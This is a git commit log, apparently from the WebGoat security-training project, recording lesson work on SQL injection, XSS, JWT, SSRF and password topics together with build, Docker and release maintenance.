875f0487bd assignment 4: specifying data type in instructions 2019-03-26 08:43:38 +01:00
PhilippeSteinbach
5c2d9cd8e9 assignment 5: display query string to user after success, improved regex to allow missing semicolon after query 2019-03-26 08:43:38 +01:00
PhilippeSteinbach
e976dbe10f assignment 4: display query string to user after success 2019-03-26 08:43:38 +01:00
PhilippeSteinbach
f586bded4d assignment 3: display query string to user after success 2019-03-26 08:43:38 +01:00
PhilippeSteinbach
7c32232faa display query string to user after success, added hints 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
2be2de8ce1 Added improved quiz for cia-triad and xss 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
27a61f0f70 Reworked and styled quiz 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
0915bf3d7f Changed checkboxes to radio buttons, since it is single choice.
Moved css to seperate css file.
Made questions clickable not just the checkbox.
Reworked java code.
Work in Progress...
2019-03-26 08:43:38 +01:00
Benedikt - Desktop
df49fcdb39 Added a little more info to assignments 11-13 of sql-introduction 2019-03-26 08:43:38 +01:00
Timur Linden
e8caeedf53 implemented xss-quiz 2019-03-26 08:43:38 +01:00
Tobias-Melzer
d27577c1c4 Implemented better lesson description, hints and feedback 2019-03-26 08:43:38 +01:00
MaxGeldner
cec60447c4 Fixed error in SQL Inj quiz
fixed a type that didn't allow the quiz to load.
2019-03-26 08:43:38 +01:00
Benedikt - Desktop
e859c9c37b Fixed errors in tests for sql injection introduction 10 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
3883563c7d Fixed feedback-check in sql introduction tests. 2019-03-26 08:43:38 +01:00
Tobias-Melzer
5c41e6080c Fixed Tests 2019-03-26 08:43:38 +01:00
Tobias-Melzer
7daaac9a3f Fixed Typos 2019-03-26 08:43:38 +01:00
PhilippeSteinbach
84f67b5a7e changed order of xss mitigation lesson 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
64d3cdfc86 Added info to sql injections introduction to check out the CIA-Traid lesson if unfamiliar with it. 2019-03-26 08:43:38 +01:00
Tobias-Melzer
4878ea637e Fixed wrong Hint in SqlInjection Assignment 5a/b 2019-03-26 08:43:38 +01:00
Tobias-Melzer
0588daff9d Added Assignment for Security Questions. 2019-03-26 08:43:38 +01:00
PhilippeSteinbach
37b5abea80 added unsecure password recommendations to secure passwords lesson to see why passwords are rated as weak 2019-03-26 08:43:38 +01:00
Tobias-Melzer
aa22bfb528 Fixed wrong hint 2019-03-26 08:43:38 +01:00
Tobias-Melzer
bbb0b607b2 Added Assignment for Security Questions. 2019-03-26 08:43:38 +01:00
Max Geldner
8b61811278 Added doc to quiz js 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
3d7974aa45 Added more hints to password reset 5 lesson. Recommended Burp as a proxy 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
8c7eaf87d6 Fixed package of xss-mititgation assignment. Hints are working again. 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
587c44b52e Removed unused imports. 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
1d9abef80f Page after assignment working again. 2019-03-26 08:43:38 +01:00
Max Geldner
74961c5632 ace_collect now uses API call 2019-03-26 08:43:38 +01:00
PhilippeSteinbach
2f39f48747 deleted unnecessary lines 2019-03-26 08:43:38 +01:00
PhilippeSteinbach
387a0e8e7d assignment now has working feedback 2019-03-26 08:43:38 +01:00
PhilippeSteinbach
66821df6f0 polished feedback, implemented password warnings and suggestions 2019-03-26 08:43:38 +01:00
PhilippeSteinbach
49e0f75fb5 secure password assignment first draft 2019-03-26 08:43:38 +01:00
Tobias_Melzer
30b2c8b4d6 Added Hints for second Assignment in Chrome DevTools 2019-03-26 08:43:38 +01:00
Tobias_Melzer
b7a90345b2 Added second assignment for chrome developer tools. 2019-03-26 08:43:38 +01:00
PhilippeSteinbach
2a26cc3cc7 polished feedback, implemented password warnings and suggestions 2019-03-26 08:43:38 +01:00
PhilippeSteinbach
0bd14d9178 (wrong branch) updated assignment (OWASP Java Encoder) and hints (still not shown) 2019-03-26 08:43:38 +01:00
PhilippeSteinbach
06a8bd8b0e Strength bar 2019-03-26 08:43:38 +01:00
Max Geldner
44a9a776bf added pw reset mitigation explanation 2019-03-26 08:43:38 +01:00
Tobias_Melzer
43504b9a7b Fixed Double Hints in SqlInjection Advanced Challenge 2019-03-26 08:43:38 +01:00
PhilippeSteinbach
5fa11a1b4b secure password assignment first draft 2019-03-26 08:43:38 +01:00
PhilippeSteinbach
8bc91ba4ec finished assignment 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
94b936036a Added explanations for creating and storing passwords. 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
72e13889d0 Started NIST explanation 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
91e6f70919 Added lesson (no content yet) for explaining nist password standards. 2019-03-26 08:43:38 +01:00
Max Geldner
b02a01d35e squash 2019-03-26 08:43:38 +01:00
Max Geldner
6d974b5fa8 Fixed lesson sorting issue 2019-03-26 08:43:38 +01:00
Bene-Notebook
cfce7763f0 Outcommented lines in XSS Lessons 3 that were causing erros 2019-03-26 08:43:38 +01:00
Philippe Steinbach
63502d6328 added jsoup html parser 2019-03-26 08:43:38 +01:00
Philippe Steinbach
971062561d renamed hints 2019-03-26 08:43:38 +01:00
Philippe Steinbach
e7b69c4953 edited table of relevant special chars (\&apos; not recommended because its not in the HTML spec) 2019-03-26 08:43:38 +01:00
Philippe Steinbach
8944bfcc1d implemented xss mitigation assignment 1, draft validation without parser 2019-03-26 08:43:38 +01:00
Philippe Steinbach
6327b82204 ace editor text as request parameter 2019-03-26 08:43:38 +01:00
Philippe Steinbach
f209c424b4 mitigation preparations 2019-03-26 08:43:38 +01:00
Philippe Steinbach
73c2313658 added assignment draft (not working yet) 2019-03-26 08:43:38 +01:00
Tobias_Melzer
760c3f2990 Added Hints for second Assignment in Chrome DevTools 2019-03-26 08:43:38 +01:00
Bene-Notebook
98a32c7cdf Fixed bug, where assignment hints did not get displayed. 2019-03-26 08:43:38 +01:00
Tobias_Melzer
09baecb3e9 Added second assignment for chrome developer tools. 2019-03-26 08:43:38 +01:00
Max Geldner
6cf3740c04 Fixes bug in introduction assignment 3 and adjusted wording in assignment
1
2019-03-26 08:43:38 +01:00
Benedikt - Desktop
e873752eac Reworked description and added additional hints. Split regex for code checks for better readability. 2019-03-26 08:43:38 +01:00
Max Geldner
4cdd649a5a Added html mode for code editor 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
ea04d6ef35 Removed ajax from assignment. Now using normal post-request.
Made successmessages green and failure messages red for all sql-i messages
2019-03-26 08:43:38 +01:00
Benedikt - Desktop
72ae0d503b Made small text adjustments for developer-tools lesson. 2019-03-26 08:43:38 +01:00
Max Geldner
f66ad51721 Added comment parsing and feedback to text editor lessons 2019-03-26 08:43:38 +01:00
Max Geldner
b22deec5b8 Added quick fix description to code editor assignment 2019-03-26 08:43:38 +01:00
Tobias_Melzer
af565b5035 Added Tutorial for Chrome Developer Tools. 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
eb29ed00ff Removed old unused files from XSS 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
58dc5d2d41 Removed unneccessary comments from html documents. 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
600c6203ef Changed the lesson plans of all the XSS lessons. 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
fffbb3c804 Added missing messages. 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
dd8b067a55 Changed names of hints and messages fro SQL-Injection assignments for better readability in properties file. 2019-03-26 08:43:38 +01:00
philippesteinbach
596383fd59 bugfixes 2019-03-26 08:43:38 +01:00
philippesteinbach
90da672be2 added hints to sql injection assignment 4 & 5, minor text changes to be consistent to other assignments 2019-03-26 08:43:38 +01:00
philippesteinbach
0098f07d00 implemented sql injection assignment 5 2019-03-26 08:43:38 +01:00
philippesteinbach
6b669df025 implemented assignment 4, some other changes 2019-03-26 08:43:38 +01:00
philippesteinbach
7733ea0c85 Bug fixes due to changed fuction, Updated text 2019-03-26 08:43:38 +01:00
philippesteinbach
295b5a4772 implemented assignment 2 & 3 of sql injection lession 2019-03-26 08:43:38 +01:00
Max Geldner
2ee3b22207 Reworked some XSS assignments 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
990bf079d3 Added hints for dom-based xss assignment (part 2) 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
362671e67e Added hints for dom-based xss assignment (part 1) 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
46f92dad3b Added hints for Reflected XSS assignment. 2019-03-26 08:43:38 +01:00
Max Geldner
3a7601d348 Moved js files to global directory, added id system to question json 2019-03-26 08:43:38 +01:00
Bene-Notebook
2962ddbb3e Restructured XSS category. Updated gitignore to ignore TestClass.class. 2019-03-26 08:43:38 +01:00
Max Geldner
1cfd8dd843 Added feedback to cia quiz 2019-03-26 08:43:38 +01:00
Max Geldner
61d8051b5f Added feedback for assignment 2019-03-26 08:43:38 +01:00
Tobias Melzer
7db39765c6 Improved Tests 2019-03-26 08:43:38 +01:00
Tobias Melzer
718b113f86 Added my improved assignments 2019-03-26 08:43:38 +01:00
Max Geldner
551f87dbd9 Deleted more unessecary files 2019-03-26 08:43:38 +01:00
Max Geldner
dbba0fc188 Deleted not needed files for syntax highlighter 2019-03-26 08:43:38 +01:00
Max Geldner
8dd0957c39 Added syntax highlighting for mitigation assignment 2019-03-26 08:43:38 +01:00
Max Geldner
50c88738c2 Added a quiz for cia-triad lessons 2019-03-26 08:43:38 +01:00
Max Geldner
baff6b06f3 Moved questions JSON to seperate file 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
41998a0143 Deleted old assignments (introduction) and added tests for the new ones 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
46e71a8bcd Renamed hints 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
3b0c09add7 Highlighted important parts of text and expanded the CIA explanations. 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
002ce6e8a6 Polished and fixed assignment 10 (A) of sql injections 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
1bcddaf710 Reworked and polished assignment 8 and 9 (C and I) 2019-03-26 08:43:38 +01:00
Max Geldner
cd3f7ea924 Inserted quiz into sql injection advanced 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
14f4b42ba5 Fixed some errors. 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
26e3803de0 Added more hints 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
6fe7582dfb Added an assignment for compromising availability to the sql injections (introduction).
WIP
2019-03-26 08:43:38 +01:00
Benedikt - Desktop
4e6c721545 Added an assignment for compromising integrity by query chaining to the sql injections (introduction) 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
75b1895122 Added a new lessons for sql injections on "Compromising confidentiality with String SQL Injection" 2019-03-26 08:43:38 +01:00
Max Geldner
083eb1b567 improved the description of the new sql injection mitigation assignments 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
d2a2716a9a Added a lesson for the CIA-Triad in the general category explaining the three elements of the triad. 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
0529289f6d Added (introduction) extra to the sidebar menu on the left.
Slightly modified SQL Injections explanation/example.
2019-03-26 08:43:38 +01:00
Benedikt - Desktop
adc8891160 Reworked SQl-Injections Introdruction Lesson plan 2019-03-26 08:43:38 +01:00
Benedikt - Desktop
2fdde982eb Restructured SQL Injection introduction lesson and created new required lesson-pages. 2019-03-26 08:43:38 +01:00
Max Geldner
2334b3c02d lessons: sql_injection
added another assignment
2019-03-26 08:43:38 +01:00
Tobias Melzer
8667a85865 Draft_Version for SQL Injection 2019-03-26 08:43:38 +01:00
Bene-Notebook
78ff54b910 Modified and improved explanations for SQL Injections (basics) 2019-03-26 08:43:38 +01:00
Max Geldner
bca50e8ca5 lesson: sql-injection-mitigation
added new assignment for jdbc code completion
2019-03-26 08:43:38 +01:00
Rene Zubcevic
6e36cc1ea4 removed unnecessary interceptors 2019-03-26 08:37:47 +01:00
Rene Zubcevic
4050e899ff changed unit test to dynamic port to prevent port conflict and build failure 2019-03-26 08:37:47 +01:00
Rene Zubcevic
1c2648e0a9 disable the fallback to the system locale to fix unit test and establish the desired behaviour 2019-03-26 08:37:47 +01:00
Robin
24bbb636f8 Update HttpBasics_ProxyIntro1.adoc
Fixed along to alone
2019-03-26 08:35:55 +01:00
Robin
7291651967 Update IntroductionWebWolf.adoc
Fixed typos and language to make it clearer
2019-03-26 08:35:55 +01:00
Robin
528c05a859 Update Landing_page.adoc
Updated the language to make it easier to understand
2019-03-26 08:35:55 +01:00
Robin
e625d4008b Update Receiving_mail.adoc
Clarify text to make it easier to understand
2019-03-26 08:35:55 +01:00
Robin
53050d7198 Make language more understandable
Changed wording, to make it more intuitive
2019-03-26 08:35:55 +01:00
Nanne Baars
5ebf838cd2 Merge branch 'alexanderfry-feature/ssrf' into develop 2019-02-09 20:51:27 +01:00
Nanne Baars
a49dd6c348 Updated version in pom.xml 2019-02-09 20:51:14 +01:00
Nanne Baars
c0dd773b90 Merge branch 'develop' into alexanderfry-feature/ssrf 2019-02-09 18:20:43 +01:00
Nanne Baars
bd86dc6ee0 SNAPSHOT version 2019-02-09 18:20:08 +01:00
Nanne Baars
d6dae9ef75 Merge branch 'feature/ssrf' of git://github.com/alexanderfry/WebGoat into alexanderfry-feature/ssrf 2019-02-09 16:42:08 +01:00
Nanne Baars
941ca5e9a1 SQL injection add hints #470 2019-02-09 16:41:46 +01:00
Nanne Baars
5bc48193b6 Merge branch 'master' into develop 2019-02-08 14:56:53 +01:00
Nanne Baars
e9b1a10a52 Update landing page 2019-02-08 14:56:35 +01:00
Nanne Baars
c58ff9d0cb Merge tag 'v8.0.0.M24' into develop
New version v8.0.0.M24
2019-02-08 14:21:57 +01:00
Nanne Baars
4948380aa1 Merge branch 'release/v8.0.0.M24' 2019-02-08 14:21:36 +01:00
Nanne Baars
6c86929aa6 New release, updating pom.xml 2019-02-08 14:20:23 +01:00
Nanne Baars
c25643afe2 Add landing page for WebGoat 2019-02-08 14:13:58 +01:00
Nanne Baars
7be519e724 Update README to reflect Java 11 change #553 2019-01-31 18:16:10 +01:00
Alex Fry
98f75e34d5 Initial Commit of SSRF Lesson 2019-01-21 18:09:31 -04:00
Nanne Baars
5ba6492684 Merge tag 'v8.0.0.M23' into develop
v8.0.0.M23
2019-01-18 08:47:00 +01:00
Nanne Baars
72968d9619 Merge branch 'release/v8.0.0.M23' 2019-01-18 08:46:50 +01:00
Nanne Baars
631fedb752 New release, updating pom.xml 2019-01-18 08:45:44 +01:00
Nanne Baars
4f59bf545e Updating release doc 2019-01-18 08:44:46 +01:00
Nanne Baars
5d5ba53473 Merge tag 'v8.0.0.M22' into develop
v8.0.0.M22
2019-01-18 08:39:19 +01:00
Nanne Baars
7b8e3cdb52 Merge branch 'release/v8.0.0.M22' 2019-01-18 08:38:10 +01:00
Nanne Baars
9be4361afc New release, updating pom.xml 2019-01-18 08:37:26 +01:00
Nanne Baars
b0e3a06b50 Password reset lesson 5 not working #512
Added comment to not use OWASP ZAP
2019-01-17 16:35:04 +01:00
Shreyas Minocha
9170dcb87f Fix a grammatical error 2019-01-17 14:50:07 +01:00
Nanne Baars
dc5f9880af Full implementation of "Update Webgoat Dockerfile to use entrypoints and commands #523" based on the pull request of Nicklaus McClendon 2019-01-17 14:49:42 +01:00
Nanne Baars
ed490a5ecf Fix for #545
Introduced new macro to make a clear distinction between /WebWolf with
context root and without.
2019-01-16 11:07:30 +01:00
Nanne Baars
81d6e12ae1 Spring devtools no longer work in combination with Spring and Java 11 2019-01-15 16:29:49 +01:00
Nanne Baars
c3ee0b7662 Travis build should also use Java 11 2019-01-15 16:24:39 +01:00
Nanne Baars
959a3c6420 Docker images should use new jar version notation 2019-01-15 16:23:21 +01:00
Nanne Baars
3fa10c4b10 Update to Java 11 2019-01-15 16:23:03 +01:00
Nanne Baars
ec225558b9 Move to latest Spring Boot version and move to Java 11 2018-12-15 13:59:54 +01:00
Nanne Baars
dd1009bc54 Add Maven wrapper 2018-12-14 12:56:21 +01:00
Bartosz Bogatko
bf45a0a8e5 Fix for XXE docs 2018-12-14 12:43:19 +01:00
Patrick Double
f81a6852db YAML structure fix, postgres version fix
The structure of the environment was incorrect. The postgres dialect doesn't match the postgres:latest image.
2018-11-19 08:16:49 +01:00
malikashish8
6699456ee1 Bug fix in sample code 2018-11-19 08:15:41 +01:00
Joubin Jabbari
ecbbb5258e encapsulated the WEBGOAT_HOME in quotes
Encapsulating the `WEBGOAT_HOME` variable in quotes allows for spaces to exist in the path
2018-11-19 08:14:29 +01:00
Josh Cummings
1520c7571f HTML Tampering Mitigation Description Typo 2018-11-19 08:13:17 +01:00
Omniscimus
5921a06747 Fix SQL injection mitigation answer (fixes #505)
You need to submit the IP of the webgoat-prd server, not just any of the IPs.
2018-11-19 08:12:17 +01:00
Chirag Jariwala
b6e4995d11 Fixed Vagrant file
- Added correct wget urls for .jar files
- changed server address to 0.0.0.0(pointing to all interfaces) because by default it listens for connections on VM's localhost only but we want to access webgoat on NAT adapter via port forwarding
2018-11-19 08:10:11 +01:00
donkrasnov
a2f28460c0 Update password_reset.html
Without this attribute it is impossible to pass the lesson "password-reset" `Email functionality with WebWolf`.
2018-11-19 08:08:41 +01:00
misfir3
0797c3e2bf Merge pull request #519 from pingiun/patch-1
Fix typo
2018-09-13 08:16:11 -07:00
Jelle Besseling
f9a4061604 Fix typo 2018-09-12 09:54:44 +02:00
Nanne Baars
580e50f558 Same form post is used and with autocomplete this does not work because all fields will be posted. The endpoint could no long distinguish between the different actions (sending e-mail and checking password) 2018-08-10 13:15:40 +02:00
Nanne Baars
3d58049af6 docker-compose-local.yml now extends docker-compose.yml
WebWolf waits for 8 seconds after WebGoat starts so the database connection can be established
2018-08-08 18:26:12 +02:00
Nanne Baars
bca8b3c650 Fix buildscripts to wait for Docker and build snapshots 2018-08-08 18:23:27 +02:00
Nanne Baars
1252e3dc21 Update instructions to use docker-compose only 2018-07-17 20:17:35 +02:00
Nanne Baars
63a50df7a1 Add hint to lesson users no longer have guess the complete ip address 2018-07-06 18:22:29 +02:00
Nanne Baars
f9e552f1cd Add instructions how to run WebGoat on Java 9 or higher 2018-07-04 19:15:54 +02:00
Nanne Baars
2233550fe1 Adding more solutions for SQL order by lesson 2018-06-22 14:12:37 +02:00
Nanne Baars
cb18295f9f Update hint 2018-06-21 07:53:21 +02:00
Nanne Baars
651698d96c Add different solution for XXE attack 2018-06-21 07:17:27 +02:00
Nanne Baars
4d7d0058c3 Update how to create a release document 2018-06-20 18:38:16 +02:00
Nanne Baars
e3fba396de Merge tag 'v8.0.0.M21' into develop 2018-06-20 18:24:06 +02:00
Nanne Baars
3536fd0b6d Merge branch 'release/v8.0.0.M21' 2018-06-20 18:23:59 +02:00
Nanne Baars
bc84e8f207 Build release when tag is set 2018-06-20 18:22:35 +02:00
Nanne Baars
14dbd47675 Merge tag 'v8.0.0.M20' into develop
New release M20
2018-06-20 18:06:26 +02:00
Nanne Baars
898dd90c6f Merge branch 'release/v8.0.0.M20' 2018-06-20 18:06:17 +02:00
Nanne Baars
ac12a009e4 New release v8.0.0.M20 2018-06-20 18:05:59 +02:00
Nanne Baars
699b1bfd89 Only do releases and Docker updates when building master 2018-06-20 18:05:06 +02:00
Nanne Baars
ad77a7ab24 Merge tag 'v8.0.0.M19' into develop
New release M19
2018-06-20 16:40:44 +02:00
Nanne Baars
b7278590f5 Merge branch 'release/v8.0.0.M19' 2018-06-20 16:40:33 +02:00
Nanne Baars
9dd93d88d9 New release v8.0.0.M19 2018-06-20 16:40:28 +02:00
Nanne Baars
4c767cb977 Merge tag 'v8.0.0.M18' into develop
New release
2018-06-20 16:32:44 +02:00
Nanne Baars
12123ef13b Merge branch 'release/v8.0.0.M18' 2018-06-20 16:32:31 +02:00
Matthias Grundmann
c7da546249 Improve text for lesson about CSRF login 2018-06-16 17:52:18 +02:00
misfir3
a41ff0083c Merge pull request #479 from misfir3/develop
Recent updates, including Missing Function AC content & patch for Vuln Components Lesson
2018-06-13 18:44:09 -06:00
misfir3
701a99cf8f Merge pull request #487 from matthias-g/xssFixes
Small lesson improvements
2018-06-13 18:42:14 -06:00
misfir3
844808bfa7 Merge pull request #485 from matthias-g/fixSQLInjection
Fix sql injection
2018-06-13 18:41:05 -06:00
Matthias Grundmann
81aac93dfe Usage base64 encoded password as expected by JJWT 2018-06-13 17:58:52 +02:00
Matthias Grundmann
e5ec2c1ee0 Fix html attribute 2018-06-13 17:56:57 +02:00
Matthias Grundmann
b0fbeaff2c This improves the text of the lesson about XSS 2018-06-13 17:56:23 +02:00
Matthias Grundmann
b47bb96534 Update changed password in tests 2018-06-13 16:11:28 +02:00
Matthias Grundmann
3b9b695ef1 Check host header instead of origin which might not be present #475 2018-06-13 11:38:33 +02:00
Matthias Grundmann
1d2575a211 Allow - in usernames because CSRF lesson requires username starting with prefix crsf- #476 2018-06-13 11:38:33 +02:00
Matthias Grundmann
56fc983414 Update database layout so that proposed solution works 2018-06-12 17:40:28 +02:00
Matthias Grundmann
268adbcf7e Move assignments to correct package so that hints are shown 2018-06-12 17:40:28 +02:00
Matthias Grundmann
f383454440 Fix spelling in JWT lesson 2018-06-12 11:02:51 +02:00
Matthias Grundmann
bae3e75ae2 Fix minor issues in hint view 2018-06-12 11:02:16 +02:00
Matthias Grundmann
a7b82985d4 Fix usage of JJWT API which expects base64 encoded strings as key 2018-06-12 11:01:23 +02:00
Matthias Grundmann
3d282e163c Show newest comments first
This prevents new comments from not being displayed after a comment containing invalid html has been posted.
2018-06-12 10:54:13 +02:00
Matthias Grundmann
7068c84c6a Fix parameter in url and some spelling 2018-06-12 10:54:13 +02:00
misfir3
0030c7bdfb Merge pull request #480 from matthias-g/fixPageNum
Fix next page button when url doesn't end with page number
2018-06-07 11:27:29 -06:00
Matthias Grundmann
89f6a73275 Fix next page button when url doesn't end with page number 2018-06-07 19:07:58 +02:00
Jason White
cf0e4e40cf clean up 2018-06-05 14:36:40 -06:00
Jason White
dfd51f8b54 Merge branch 'develop' of github.com:misfir3/WebGoat into develop 2018-06-05 14:10:51 -06:00
Jason White
5e8c610fbf gke-deploy.sh 2018-06-05 14:10:29 -06:00
Jason White
71514fc39b GKE deploy script 2018-06-05 09:45:47 -06:00
Jason
1734170e9e updates to missing function ac lesson 2018-06-04 16:53:13 -06:00
Jason
c89afe6334 Merge remote-tracking branch 'upstream/develop' into develop 2018-06-01 09:54:03 -06:00
Nanne Baars
9af0054b5b Merge branch 'release/v8.0.0.M17' 2018-05-30 20:54:18 +02:00
Nanne Baars
26aa72e721 New release 2018-05-30 20:54:13 +02:00
Nanne Baars
c510bd9bf1 New develop version 2018-05-30 20:37:25 +02:00
Nanne Baars
6bf853d953 Merge tag 'v8.0.0.M16' into develop
New release
2018-05-30 20:35:56 +02:00
Nanne Baars
b298440985 Merge branch 'release/v8.0.0.M16' 2018-05-30 20:35:22 +02:00
Nanne Baars
c7a714a590 Move to next release 2018-05-30 17:05:50 +02:00
Nanne Baars
93620f148b Remove challenges which are also incorporated in the lessons themselves 2018-05-30 16:46:50 +02:00
Nanne Baars
ecb7688e08 Update to new version for develop
Move WebWolf to port 9090 easier since most of the time something is running on 8081
Add scripts for easy building Docker files etc
2018-05-30 13:17:05 +02:00
Nanne Baars
0de784eb32 Update README and simply the java command to one with optional arguments 2018-05-29 22:16:29 +02:00
Nanne Baars
4691bc5fd5 Extended proxy lesson with Edit and Resend and explained how to exclude WebGoat internal calls from proxying 2018-05-29 21:30:13 +02:00
Nanne Baars
fc2c99bcb4 Limit the username to letters and digits only 2018-05-29 16:16:52 +02:00
Nanne Baars
7292a577e3 Only do a release when we build master and have a tagged the release 2018-05-29 15:20:07 +02:00
Nanne Baars
396c1c1d47 Update order of starting WebGoat 2018-05-29 15:16:29 +02:00
Nanne Baars
2911788679 Merge tag 'v8.0.0' into develop
Release v8.0.0
2018-05-29 14:59:32 +02:00
Nanne Baars
985148ede3 Merge branch 'release/v8.0.0' 2018-05-29 14:59:07 +02:00
MaDuck
9587550bc5 Fixed column name on sql injection lesson 7 2018-05-29 14:42:22 +02:00
MaDuck
9a0995dae5 Fixed column name on sql injection lesson 6 2018-05-29 14:42:02 +02:00
Nanne Baars
4e07e0ebfa Fix links to open new browser tab 2018-05-29 14:04:33 +02:00
Nanne Baars
6e95fdfe56 Adjusted documentation 2018-05-29 13:33:52 +02:00
Nanne Baars
e045bc692d Buying page also calculates the prices
Product image added
2018-05-29 12:47:27 +02:00
Nanne Baars
589872ad47 Fix for JWT assignment 1 log in now works again.
Reset button only triggers reset when admin is set to true in the token
2018-05-29 11:20:40 +02:00
Nanne Baars
5f4889cefe Clicking link in first password reset link only switched back and forward 2018-05-29 09:29:50 +02:00
Nanne Baars
55793dd153 New release v8.0.0.M15 2018-05-27 20:54:50 +02:00
Nanne Baars
1edceb0aa8 Extended and fixed some lessons 2018-05-27 20:37:44 +02:00
Nanne Baars
d2b6725f3b Moved challenge2 to client-side-filtering as final assignment 2018-05-27 12:41:52 +02:00
Nanne Baars
6e003bc088 Working last password assignment 2018-05-26 18:48:48 +02:00
Nanne Baars
f8a7a61e85 New lesson working 2018-05-26 15:09:18 +02:00
Nanne Baars
eaf68d38c5 Initial commit for password reset lesson 2018-05-25 14:27:45 +02:00
Nanne Baars
8d7ecb19d7 Added testcases for all JWT endpoints 2018-05-23 14:28:19 +02:00
Nanne Baars
e0cf5b4a84 Removed under construction from JWT lesson 2018-05-23 14:28:19 +02:00
Nanne Baars
5b524d3a94 Added more unit tests 2018-05-23 14:28:19 +02:00
Nanne Baars
dda6f674a3 Last assignment for JWT tokens finished 2018-05-23 14:28:19 +02:00
Nanne Baars
e06d4642eb Fix error in testcase 2018-05-23 14:28:19 +02:00
Nanne Baars
4a8fdcf887 Fix content-type for login (gives error in console of browser) 2018-05-23 14:28:19 +02:00
Nanne Baars
fd96ba18f1 Added test cases for solving the lesson 2018-05-23 14:28:19 +02:00
Nanne Baars
60ef35e241 Working lesson 2018-05-23 14:28:19 +02:00
Nanne Baars
9d7886d572 More JWT work 2018-05-23 14:28:19 +02:00
Nanne Baars
7a0820bf89 WIP 2018-05-23 14:28:19 +02:00
Nanne Baars
ea9c1a453d Initial version for JWT 2018-05-23 14:28:19 +02:00
Ryan Thomas
63ca11a1bb Change WebWolf to WebGoat
The links for the WebGoat download were mislabeled as WebWolf
2018-05-23 14:07:32 +02:00
Nanne Baars
5378d72600 Change version in pom.xml 2018-05-23 14:04:21 +02:00
Jose Selvi
93d6d0e6b7 Added lesson texts 2018-05-23 13:58:37 +02:00
Jose Selvi
84860e65f6 Insecure Deserialization exercise 2018-05-23 13:58:03 +02:00
Jason
a73bf58d36 more hintview patching 2018-05-23 13:35:51 +02:00
Jason
0ff6000511 wiring jqueryui to vuln jquery #368 2018-05-23 13:35:51 +02:00
Jason
91d9db5f80 work-arounds, fixes for page initialization and some clean-up 2018-05-23 13:35:51 +02:00
Jason
ac1b9e8311 cleanup that was missed in prev. commit 2018-05-23 13:35:51 +02:00
Jason
9d49373486 fix for periodic fail on StoredXssCommentsTest 2018-05-23 13:35:51 +02:00
Nick Smith
ead78d40e6 Chore - fix spelling issues 2018-05-23 13:35:51 +02:00
xanderhades
7b5bb6d6f1 Fixed typos 2018-05-23 13:35:51 +02:00
Nitish
408a637649 Update HttpBasics_ProxyIntro0.adoc
Fixed typo, Actual : "wihtin" , Expected :  "within"
2018-05-23 13:35:51 +02:00
Jason White
e96ab488ff Merge branch 'develop' of github.com:misfir2/WebGoat into develop 2018-05-14 12:17:32 -06:00
jason
31f7ea6985 script to automate WebGoat deployment on GKE 2018-05-14 12:15:48 -06:00
Nanne Baars
6cf96f971d Fix typo 2018-05-11 15:14:11 +02:00
TimDG
0b9a027c19 Fix some minor grammatical issues. 2018-05-11 15:13:30 +02:00
Jason
186f24f1df more hintview patching 2018-05-03 10:49:58 -06:00
Jason
089dd56a15 wiring jqueryui to vuln jquery #368 2018-05-03 10:49:31 -06:00
Jason
6cfefba0ee work-arounds, fixes for page initialization and some clean-up 2018-05-03 10:25:34 -06:00
Jason
20e45da8ae cleanup that was missed in prev. commit 2018-05-02 16:36:34 -06:00
Jason
e34faa13d6 fix for periodic fail on StoredXssCommentsTest 2018-05-02 16:35:57 -06:00
Jason
927bbad488 merging from release branch ... PR's and Nanne's recent work 2018-05-02 14:27:44 -06:00
pjhggns
6a5ca43e7e Strip out slash-escaped JSON sequence received in client.
The server will slash-escape some JSON related characters before sending. Need to strip them out before using, on the client side.
2018-05-02 22:21:22 +02:00
miig
5d28ef9fbe small fix for CSRF content type lesson descrption 2018-05-02 22:10:06 +02:00
miig
9aa674e326 stringfy object so it's visible in the console 2018-05-02 22:04:25 +02:00
Nanne Baars
84e3fcde07 Added .sonatype (author: @maurycupitt) 2018-05-02 21:34:17 +02:00
Nanne Baars
6209b3fe8d Updated lesson for starting WebWolf as a Docker container 2018-05-02 21:25:44 +02:00
Nanne Baars
a1db8e8bd9 Added documentation how to mount the data directory of WebGoat running in Docker to your host system. 2018-05-02 09:29:52 +02:00
Nanne Baars
6b4a488c8c Users shared now between WebGoat and WebWolf by starting HSQLDB
as standalone database
2018-05-01 22:00:07 +02:00
Nanne Baars
0e160c19f5 Docker-compose for postgres and hsqldb 2018-05-01 21:58:43 +02:00
Nanne Baars
8050a2b56d XXE lesson not showing correct link for WebWolf 2018-05-01 21:54:28 +02:00
Nanne Baars
11ffa5702c Added "WebWolf" enabled to the lessons which support the usage of WebWolf 2018-04-29 15:02:19 +02:00
Nanne Baars
32927c8109 Bumped Spring Boot version 2018-04-28 16:02:09 +02:00
Nanne Baars
